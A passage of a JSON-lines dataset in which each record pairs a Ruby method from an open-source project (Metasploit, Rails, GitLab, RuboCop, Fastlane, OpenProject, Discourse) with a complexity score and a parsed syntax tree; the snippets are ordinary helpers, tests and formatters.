Manager\\\\Memory Management\\\\PrefetchParameters', 'EnablePrefetcher')\n if prefetch_key_value == 0\n print_error('EnablePrefetcher Value: (0) = Disabled (Non-Default).')\n elsif prefetch_key_value == 1\n print_good('EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).')\n elsif prefetch_key_value == 2\n print_good('EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default, excl. Win2k3).')\n elsif prefetch_key_value == 3\n print_good('EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value, excl. Win2k3).')\n else\n print_error('No value or unknown value. Results might vary.')\n end\n end","complexity_score":18.65,"ast_json":"{\"type\":\"def\",\"children\":[\"print_prefetch_key_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefetch_key_value\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Memory Management\\\\PrefetchParameters\"]},{\"type\":\"str\",\"children\":[\"EnablePrefetcher\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefetch_key_value\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"EnablePrefetcher Value: (0) = Disabled (Non-Default).\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefetch_key_value\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefetch_key_value\"]},\"==\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default, excl. Win2k3).\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefetch_key_value\"]},\"==\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value, excl. Win2k3).\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No value or unknown value. Results might vary.\"]}]}]}]}]}]}]}]}","id":"360b2322-fd5c-4285-86d9-7e8f3b4d663e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/db.rb","start_line":383,"raw_source":"def delete_host_tag(rws, tag_name)\n opts = Hash.new()\n opts[:workspace] = framework.db.workspace\n opts[:tag_name] = tag_name\n\n # This will be the case if no IP was passed in, and we are just trying to delete all\n # instances of a given tag within the database.\n if rws == [nil]\n wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)\n wspace.hosts.each do |host|\n opts[:address] = host.address\n framework.db.delete_host_tag(opts)\n end\n else\n rws.each do |rw|\n rw.each do |ip|\n opts[:address] = ip\n unless framework.db.delete_host_tag(opts)\n print_error(\"Host #{ip} could not be found.\")\n end\n end\n end\n end\n end","complexity_score":38.5,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_host_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rws\"]},{\"type\":\"arg\",\"children\":[\"tag_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"workspace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"tag_name\"]},{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rws\"]},\"==\",{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wspace\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"DBManager\"]},\"process_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wspace\"]},\"hosts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"address\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"delete_host_tag\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rws\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rw\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rw\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"delete_host_tag\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Host \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" could not be found.\"]}]}]}]}]}]}]}]}]}]}","id":"3ad4cb9a-b2ab-4e4b-96a9-3401e20ad1a6"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_options_helper_test.rb","start_line":98,"raw_source":"def test_collection_options_with_private_text_method\n e = assert_raise(NoMethodError) do\n options_from_collection_for_select(dummy_posts, \"author_name\", \"secret\")\n end\n assert_match(/private method/, e.message)\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_collection_options_with_private_text_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"NoMethodError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"options_from_collection_for_select\",{\"type\":\"send\",\"children\":[null,\"dummy_posts\"]},{\"type\":\"str\",\"children\":[\"author_name\"]},{\"type\":\"str\",\"children\":[\"secret\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"private method\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}","id":"69b55af7-e670-480b-8463-10906c8c7e29"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/filters_test.rb","start_line":313,"raw_source":"def conditional_in_parent_before\n @ran_filter ||= []\n @ran_filter << \"conditional_in_parent_before\"\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"conditional_in_parent_before\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ran_filter\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ran_filter\"]},\"<<\",{\"type\":\"str\",\"children\":[\"conditional_in_parent_before\"]}]}]}]}","id":"4d6a57b0-14de-488c-bafc-da737ed55541"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/projects_finder.rb","start_line":46,"raw_source":"def initialize(params: {}, current_user: nil, project_ids_relation: nil)\n @params = params\n @current_user = current_user\n @project_ids_relation = project_ids_relation\n\n @params[:topic] ||= @params.delete(:tag) if @params[:tag].present?\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"project_ids_relation\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project_ids_relation\",{\"type\":\"lvar\",\"children\":[\"project_ids_relation\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag\"]}]},\"present?\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"tag\"]}]}]},null]}]}]}","id":"341a8920-ca78-498a-9bb1-5e8b687bd58b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/git_http_helpers.rb","start_line":24,"raw_source":"def download(repository_path, user: nil, password: nil, spnego_request_token: nil)\n args = { user: user, password: password, spnego_request_token: spnego_request_token }\n\n clone_get(repository_path, **args)\n yield response\n\n clone_post(repository_path, **args)\n yield response\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"download\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository_path\"]},{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"password\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"spnego_request_token\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"spnego_request_token\"]},{\"type\":\"lvar\",\"children\":[\"spnego_request_token\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"clone_get\",{\"type\":\"lvar\",\"children\":[\"repository_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]}]},{\"type\":\"send\",\"children\":[null,\"clone_post\",{\"type\":\"lvar\",\"children\":[\"repository_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]}]}]}]}","id":"dc5731c8-5ecc-4655-9326-4abe6f2e9dfb"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/script_permission.rb","start_line":39,"raw_source":"def on_new_investigation\n return if @options.key?(:stdin)\n return if Platform.windows?\n return unless processed_source.start_with?(SHEBANG)\n return if executable?(processed_source)\n\n comment = processed_source.comments[0]\n message = format_message_from(processed_source)\n\n add_offense(comment, message: message) do\n autocorrect if autocorrect_requested?\n end\n end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_new_investigation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"stdin\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Platform\"]},\"windows?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"start_with?\",{\"type\":\"const\",\"children\":[null,\"SHEBANG\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executable?\",{\"type\":\"send\",\"children\":[null,\"processed_source\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"comments\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"format_message_from\",{\"type\":\"send\",\"children\":[null,\"processed_source\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"comment\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"autocorrect_requested?\"]},{\"type\":\"send\",\"children\":[null,\"autocorrect\"]},null]}]}]}]}","id":"d37515e1-4e77-41b0-8bf4-2d3b5b509153"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/fogbugz_import/importer.rb","start_line":8,"raw_source":"def initialize(project)\n @project = project\n\n import_data = project.import_data.try(:data)\n repo_data = import_data['repo'] if import_data\n if repo_data\n @repo = FogbugzImport::Repository.new(repo_data)\n @known_labels = Set.new\n else\n raise Projects::ImportService::Error, \"Unable to find project import data credentials for project ID: #{@project.id}\"\n end\n end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"lvasgn\",\"children\":[\"import_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"import_data\"]},\"try\",{\"type\":\"sym\",\"children\":[\"data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_data\"]},{\"type\":\"lvasgn\",\"children\":[\"repo_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"repo\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo_data\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repo\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FogbugzImport\"]},\"Repository\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"repo_data\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@known_labels\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"ImportService\"]},\"Error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to find project import data credentials for project ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"id\"]}]}]}]}]}]}]}","id":"0b259aa6-c8cc-404c-84f9-8a4a561cbb2b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/web_hook_service.rb","start_line":45,"raw_source":"def self.hook_to_event(hook_name, hook = nil)\n return hook.class.name.titleize if hook.is_a?(SystemHook)\n\n hook_name.to_s.singularize.titleize\n end","complexity_score":10.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"hook_to_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hook_name\"]},{\"type\":\"optarg\",\"children\":[\"hook\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"SystemHook\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"class\"]},\"name\"]},\"titleize\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook_name\"]},\"to_s\"]},\"singularize\"]},\"titleize\"]}]}]}","id":"c172fe4b-23bf-42c7-b17f-17b3abfb6cd5"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/app_info_localization.rb","start_line":32,"raw_source":"def update(client: nil, attributes: nil)\n client ||= Spaceship::ConnectAPI\n attributes = reverse_attr_mapping(attributes)\n client.patch_app_info_localization(app_info_localization_id: id, attributes: attributes)\n rescue\n raise Spaceship::AppStoreLocalizationError, @locale\n end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"attributes\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]}]},{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"send\",\"children\":[null,\"reverse_attr_mapping\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"patch_app_info_localization\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_info_localization_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"AppStoreLocalizationError\"]},{\"type\":\"ivar\",\"children\":[\"@locale\"]}]}]},null]}]}","id":"2f1d8d33-67fb-407c-bb58-f494a4faa11e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/projects/transfer_service_spec.rb","start_line":336,"raw_source":"def attempt_project_transfer(&block)\n expect do\n execute_transfer\n end.to raise_error(ActiveRecord::ActiveRecordError)\n end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"attempt_project_transfer\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute_transfer\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ActiveRecordError\"]}]}]}]}","id":"766d4cdf-ce0c-49e6-8125-82e78b7e190c"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/filters_test.rb","start_line":1014,"raw_source":"def test_with_proc\n test_process(ControllerWithProcFilter, \"no_raise\")\n assert @controller.instance_variable_get(:@before)\n assert @controller.instance_variable_get(:@after)\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_with_proc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_process\",{\"type\":\"const\",\"children\":[null,\"ControllerWithProcFilter\"]},{\"type\":\"str\",\"children\":[\"no_raise\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@before\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@after\"]}]}]}]}]}","id":"dcd98c13-1133-4248-97ec-128f04cefb76"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/members/cleanup_service.rb","start_line":56,"raw_source":"def unassign_categories\n Category\n .where(assigned_to_id: users)\n .where(project_id: project_ids)\n .where.not(assigned_to_id: Member.assignable.of_project(projects).select(:user_id))\n .update_all(assigned_to_id: nil)\n end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"unassign_categories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assigned_to_id\"]},{\"type\":\"send\",\"children\":[null,\"users\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project_ids\"]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assigned_to_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"assignable\"]},\"of_project\",{\"type\":\"send\",\"children\":[null,\"projects\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assigned_to_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"d81186db-f95f-4f75-b9ae-c244c526a5f6"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/user_preference.rb","start_line":94,"raw_source":"def disable_keyboard_shortcuts?\n settings.fetch(:disable_keyboard_shortcuts) { Setting.disable_keyboard_shortcuts? }\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_keyboard_shortcuts?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"disable_keyboard_shortcuts\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"disable_keyboard_shortcuts?\"]}]}]}","id":"3385190c-5ddf-4620-884f-710a4c145563"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/email/receiver_spec.rb","start_line":1375,"raw_source":"def reply_as_group_user\n group_post =\n PostCreator.create(\n user_in_group,\n raw: \"Thanks for your request. Please try to restart.\",\n topic_id: original_inbound_email_topic.id,\n )\n email_log = EmailLog.last\n [email_log, group_post]\n end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"reply_as_group_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostCreator\"]},\"create\",{\"type\":\"send\",\"children\":[null,\"user_in_group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"str\",\"children\":[\"Thanks for your request. Please try to restart.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"original_inbound_email_topic\"]},\"id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"email_log\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailLog\"]},\"last\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email_log\"]},{\"type\":\"lvar\",\"children\":[\"group_post\"]}]}]}]}","id":"34332b95-2ec3-45cf-98e6-7558bebebd1b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/legacy_github_import/milestone_formatter.rb","start_line":8,"raw_source":"def attributes\n {\n iid: number,\n project: project,\n title: raw_data[:title],\n description: description,\n due_date: raw_data[:due_on],\n state: state,\n created_at: raw_data[:created_at],\n updated_at: raw_data[:updated_at]\n }\n end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iid\"]},{\"type\":\"send\",\"children\":[null,\"number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"due_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"due_on\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[null,\"state\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"updated_at\"]}]}]}]}]}","id"